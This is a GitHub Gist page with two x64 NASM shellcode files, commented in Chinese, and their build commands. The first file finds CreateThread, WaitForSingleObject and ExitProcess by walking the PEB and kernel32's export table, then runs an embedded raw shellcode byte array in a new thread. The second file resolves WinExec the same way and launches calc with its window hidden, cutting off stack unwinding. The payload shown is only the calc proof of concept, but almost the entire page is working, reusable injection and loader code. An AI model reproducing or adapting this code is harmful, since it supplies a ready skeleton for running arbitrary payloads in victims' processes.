Last active
October 25, 2024 11:18
-
-
Save 0xlane/2557075f339609339bd26889139db241 to your computer and use it in GitHub Desktop.
nasm -f win64 shellcode_create_thread.asm -o shellcode_create_thread.obj
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| section .text | |
| global _start | |
| _start: | |
| ; 保存堆栈状态 | |
| sub rsp, 0x8 | |
| push rbp | |
| mov rbp, rsp | |
| push rax | |
| push rcx | |
| push rdx | |
| push r8 | |
| push r9 | |
| sub rsp, 0x10 ; 对齐和分配参数空间 | |
| mov rcx, 0 ; lpThreadAttributes = NULL | |
| mov rdx, 0 ; dwStackSize = 0 (默认大小) | |
| lea r8, [rel shellcode] ; lpStartAddress = shellcode | |
| mov r9, 0 ; lpParameter = NULL | |
| mov dword [rsp + 0x10], 0 ; dwCreationFlags = 0 | |
| mov qword [rsp + 0x8], 0 ; lpThreadId = NULL | |
| call CreateThread | |
| add rsp, 0x10 | |
| ; 调用 WaitForSingleObject 等待线程结束 | |
| mov rcx, rax ; 将线程句柄传递到 rcx (第一个参数) | |
| mov rdx, 0xFFFFFFFF ; dwMilliseconds = INFINITE (第二个参数) | |
| call WaitForSingleObject | |
| %ifndef FUNC | |
| ; ExitProcess/ExitThread | |
| xor rcx, rcx ; uExitCode = 0 | |
| %ifdef EXIT_THREAD | |
| call ExitThread | |
| %else | |
| call ExitProcess | |
| %endif | |
| %endif | |
| ; 还原堆栈状态 | |
| pop r9 | |
| pop r8 | |
| pop rdx | |
| pop rcx | |
| pop rax | |
| mov rsp, rbp | |
| pop rbp | |
| add rsp, 0x8 | |
| RET | |
| CreateThread: | |
| push rbp | |
| mov rbp, rsp | |
| push rcx | |
| push rdx | |
| push r11 | |
| push r12 | |
| mov r11, [rsp + 0x48 + 0x8] | |
| mov r12d, dword [rsp + 0x48 + 0x10] | |
| ; ----------------start find CreateThread ------------- | |
| push rcx | |
| push rdx | |
| mov rcx, 0x6854657461657243 ; CreateTh | |
| mov dx, 0x6572 ; er | |
| call get_func_address | |
| pop rdx | |
| pop rcx | |
| ; ----------------end find CreateThread ------------- | |
| ; 调用CreateThread | |
| sub rsp, 0x20 ; 影子参数空间(win64 调用约定) | |
| sub rsp, 0x10 ; 对齐和分配参数空间 | |
| mov dword [rsp + 0x20], r12d ; dwCreationFlags | |
| mov qword [rsp + 0x28], r11 ; lpThreadId | |
| call rax ; 调用CreateThread | |
| add rsp, 0x30 ; 清理堆栈 | |
| pop r12 | |
| pop r11 | |
| pop rdx | |
| pop rcx | |
| mov rsp, rbp | |
| pop rbp | |
| RET | |
| WaitForSingleObject: | |
| push rbp | |
| mov rbp, rsp | |
| ; ----------------start find WaitForSingleObject ------------- | |
| push rcx | |
| push rdx | |
| mov rcx, 0x53726f4674696157 ; WaitForS | |
| mov dx, 0x6e69 ; in | |
| call get_func_address | |
| pop rdx | |
| pop rcx | |
| ; ----------------end find WaitForSingleObject ------------- | |
| ; 调用WaitForSingleObject | |
| call rax ; 调用WaitForSingleObject | |
| mov rsp, rbp | |
| pop rbp | |
| RET | |
| ExitProcess: | |
| push rbp | |
| mov rbp, rsp | |
| ; ----------------start find ExitProcess ------------- | |
| push rcx | |
| push rdx | |
| mov rcx, 0x636f725074697845 ; ExitProc | |
| mov dx, 0x7365 ; es | |
| call get_func_address | |
| pop rdx | |
| pop rcx | |
| ; ----------------end find ExitProcess ------------- | |
| ; 调用ExitProcess | |
| call rax ; 调用ExitProcess | |
| mov rsp, rbp | |
| pop rbp | |
| RET | |
| ExitThread: | |
| push rbp | |
| mov rbp, rsp | |
| ; ----------------start find ExitThread ------------- | |
| push rcx | |
| push rdx | |
| mov rcx, 0x6572685474697845 ; ExitThre | |
| mov dx, 0x6461 ; ad | |
| call get_func_address | |
| pop rdx | |
| pop rcx | |
| ; ----------------end find ExitThread ------------- | |
| ; 调用ExitThread | |
| call rax ; 调用ExitThread | |
| mov rsp, rbp | |
| pop rbp | |
| RET | |
| get_func_address: | |
| ; 保存堆栈状态 | |
| sub rsp, 0x8 | |
| push rbp | |
| mov rbp, rsp | |
| push rcx | |
| push rdx | |
| push r8 | |
| push r9 | |
| push r10 | |
| push r11 | |
| push r12 | |
| push r14 | |
| push rsi | |
| mov r12, rcx | |
| mov bx, dx | |
| ; 获取PEB地址 (在x64中,PEB地址保存在gs寄存器的偏移0x60处) | |
| mov rdx, gs:[0x60] ; RDX = PEB | |
| ; 解析PEB中的Ldr(PEB_LDR_DATA) | |
| mov rdx, [rdx + 0x18] ; RDX = PEB->Ldr | |
| mov rdx, [rdx + 0x10] ; RDX = InLoadOrderLinks (第一个模块,通常是进程本身) | |
| mov rdx, [rdx] ; RDX = 下一个模块,通常是ntdll.dll | |
| mov rdx, [rdx] ; RDX = 下一个模块,通常是kernel32.dll | |
| mov rdx, [rdx + 0x30] ; rdi = kernel32.dll的基址 | |
| ; 查找kernel32.dll中的导出表 | |
| mov r8d, dword [rdx + 0x3C] ; 获取PE偏移 | |
| add r8, rdx ; R8 = PE Header地址 | |
| mov eax, [r8 + 0x88] ; EAX = Export Directory RVA | |
| add rax, rdx ; RAX = Export Directory地址 | |
| ; 查找函数名表、函数地址表、序号表 | |
| mov r9d, dword [rax + 0x20] ; R9D = AddressOfNames RVA | |
| add r9, rdx ; R9 = AddressOfNames | |
| mov r10d, dword [rax + 0x24] ; R10D = AddressOfNameOrdinals RVA | |
| add r10, rdx ; R10 = AddressOfNameOrdinals | |
| mov r11d, dword [rax + 0x1c] ; R11D = AddressOfFunctions RVA | |
| add r11, rdx ; R11 = AddressOfFunctions | |
| find_function_1: | |
| ; 遍历函数名表 | |
| mov esi, dword [r9] ; RSI = 函数名RVA | |
| add rsi, rdx ; RSI = 函数名地址 | |
| mov rcx, r12 ; 函数名开头8字节的倒序 | |
| cmp qword [rsi], rcx ; 比较前8字节 | |
| jne next_function_1 | |
| cmp word [rsi + 8], bx ; 比较后2字节 | |
| je function_found_1 | |
| next_function_1: | |
| add r9, 4 ; 下一个函数名 | |
| add r10, 2 ; 下一个序号 | |
| jmp find_function_1 | |
| function_found_1: | |
| ; 获取函数的序号,并根据序号获取函数地址 | |
| movzx ecx, word [r10] ; ECX = 函数序号 | |
| mov r14d, [r11 + rcx * 4] ; EAX = 函数地址RVA | |
| add r14, rdx ; R14 = API的实际地址 | |
| mov rax, r14 | |
| ; 还原堆栈状态 | |
| pop rsi | |
| pop r14 | |
| pop r12 | |
| pop r11 | |
| pop r10 | |
| pop r9 | |
| pop r8 | |
| pop rdx | |
| pop rcx | |
| mov rsp, rbp | |
| pop rbp | |
| add rsp, 0x8 | |
| RET | |
| ret | |
| shellcode db 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4,0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59,0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48,0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30,0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48,0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52,0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b,0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7,0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b,0x5a, 0x59, 0x58, 0xc3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| section .text | |
| global _start | |
| _start: | |
| ; 保存堆栈状态 | |
| sub rsp, 0x8 | |
| push rbp | |
| mov rbp, rsp | |
| push rax | |
| push rcx | |
| push rdx | |
| push r8 | |
| push r9 | |
| call __smash_exec_calc | |
| %ifndef FUNC | |
| ; ExitProcess/ExitThread | |
| xor rcx, rcx ; uExitCode = 0 | |
| %ifdef EXIT_THREAD | |
| call ExitThread | |
| %else | |
| call ExitProcess | |
| %endif | |
| %endif | |
| ; 还原堆栈状态 | |
| pop r9 | |
| pop r8 | |
| pop rdx | |
| pop rcx | |
| pop rax | |
| mov rsp, rbp | |
| pop rbp | |
| add rsp, 0x8 | |
| RET | |
| __smash_exec_calc: | |
| sub rsp, 0x8 | |
| ; ----------------start find WinExec ------------- | |
| push rcx | |
| push rdx | |
| mov rcx, 0x00636578456e6957 ; WinExec | |
| mov dx, 0x0 | |
| call get_func_address | |
| pop rdx | |
| pop rcx | |
| ; ----------------end find WinExec ------------- | |
| mov r10, rax | |
| push 0x0 | |
| push 0x0000636c6163 ; calc\0\0\0\0 | |
| mov rcx, rsp ; 第1个参数 lpCmdLine = &(calc) | |
| mov rdx, 0x0 ; 第2个参数 uCmdShow = SW_HIDE | |
| sub rsp, 0x20 | |
| sub rsp, 0x8 | |
| mov qword [rsp], 0x0 ; Return Address = 0x0, break stack unwinding | |
| jmp r10 ; call WinExec | |
| add rsp, 0x30 | |
| add rsp, 0x8 | |
| RET | |
| ExitProcess: | |
| push rbp | |
| mov rbp, rsp | |
| ; ----------------start find ExitProcess ------------- | |
| push rcx | |
| push rdx | |
| mov rcx, 0x636f725074697845 ; ExitProc | |
| mov dx, 0x7365 ; es | |
| call get_func_address | |
| pop rdx | |
| pop rcx | |
| ; ----------------end find ExitProcess ------------- | |
| ; 调用ExitProcess | |
| call rax ; 调用ExitProcess | |
| mov rsp, rbp | |
| pop rbp | |
| RET | |
| ExitThread: | |
| push rbp | |
| mov rbp, rsp | |
| ; ----------------start find ExitThread ------------- | |
| push rcx | |
| push rdx | |
| mov rcx, 0x6572685474697845 ; ExitThre | |
| mov dx, 0x6461 ; ad | |
| call get_func_address | |
| pop rdx | |
| pop rcx | |
| ; ----------------end find ExitThread ------------- | |
| ; 调用ExitThread | |
| call rax ; 调用ExitThread | |
| mov rsp, rbp | |
| pop rbp | |
| RET | |
| get_func_address: | |
| ; 保存堆栈状态 | |
| sub rsp, 0x8 | |
| push rbp | |
| mov rbp, rsp | |
| push rcx | |
| push rdx | |
| push r8 | |
| push r9 | |
| push r10 | |
| push r11 | |
| push r12 | |
| push r14 | |
| push rsi | |
| mov r12, rcx | |
| mov bx, dx | |
| ; 获取PEB地址 (在x64中,PEB地址保存在gs寄存器的偏移0x60处) | |
| mov rdx, gs:[0x60] ; RDX = PEB | |
| ; 解析PEB中的Ldr(PEB_LDR_DATA) | |
| mov rdx, [rdx + 0x18] ; RDX = PEB->Ldr | |
| mov rdx, [rdx + 0x10] ; RDX = InLoadOrderLinks (第一个模块,通常是进程本身) | |
| mov rdx, [rdx] ; RDX = 下一个模块,通常是ntdll.dll | |
| mov rdx, [rdx] ; RDX = 下一个模块,通常是kernel32.dll | |
| mov rdx, [rdx + 0x30] ; rdi = kernel32.dll的基址 | |
| ; 查找kernel32.dll中的导出表 | |
| mov r8d, dword [rdx + 0x3C] ; 获取PE偏移 | |
| add r8, rdx ; R8 = PE Header地址 | |
| mov eax, [r8 + 0x88] ; EAX = Export Directory RVA | |
| add rax, rdx ; RAX = Export Directory地址 | |
| ; 查找函数名表、函数地址表、序号表 | |
| mov r9d, dword [rax + 0x20] ; R9D = AddressOfNames RVA | |
| add r9, rdx ; R9 = AddressOfNames | |
| mov r10d, dword [rax + 0x24] ; R10D = AddressOfNameOrdinals RVA | |
| add r10, rdx ; R10 = AddressOfNameOrdinals | |
| mov r11d, dword [rax + 0x1c] ; R11D = AddressOfFunctions RVA | |
| add r11, rdx ; R11 = AddressOfFunctions | |
| find_function_1: | |
| ; 遍历函数名表 | |
| mov esi, dword [r9] ; RSI = 函数名RVA | |
| add rsi, rdx ; RSI = 函数名地址 | |
| mov rcx, r12 ; 函数名开头8字节的倒序 | |
| cmp qword [rsi], rcx ; 比较前8字节 | |
| jne next_function_1 | |
| test bx, bx | |
| je function_found_1 | |
| cmp word [rsi + 8], bx ; 比较后2字节 | |
| je function_found_1 | |
| next_function_1: | |
| add r9, 4 ; 下一个函数名 | |
| add r10, 2 ; 下一个序号 | |
| jmp find_function_1 | |
| function_found_1: | |
| ; 获取函数的序号,并根据序号获取函数地址 | |
| movzx ecx, word [r10] ; ECX = 函数序号 | |
| mov r14d, [r11 + rcx * 4] ; EAX = 函数地址RVA | |
| add r14, rdx ; R14 = API的实际地址 | |
| mov rax, r14 | |
| ; 还原堆栈状态 | |
| pop rsi | |
| pop r14 | |
| pop r12 | |
| pop r11 | |
| pop r10 | |
| pop r9 | |
| pop r8 | |
| pop rdx | |
| pop rcx | |
| mov rsp, rbp | |
| pop rbp | |
| add rsp, 0x8 | |
| RET | |
| ret |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
As exe
nasm -f win64 shellcode_create_thread.asm -o shellcode_create_thread.obj
link shellcode_create_thread.obj /OUT:shellcode_create_thread.exe /SUBSYSTEM:CONSOLE /ENTRY:_start
As shellcode with ExitThread
nasm -f win64 -DEXIT_THREAD shellcode_create_thread.asm -o shellcode_create_thread.obj
As shellcode with func
nasm -f win64 -DFUNC shellcode_create_thread.asm -o shellcode_create_thread.obj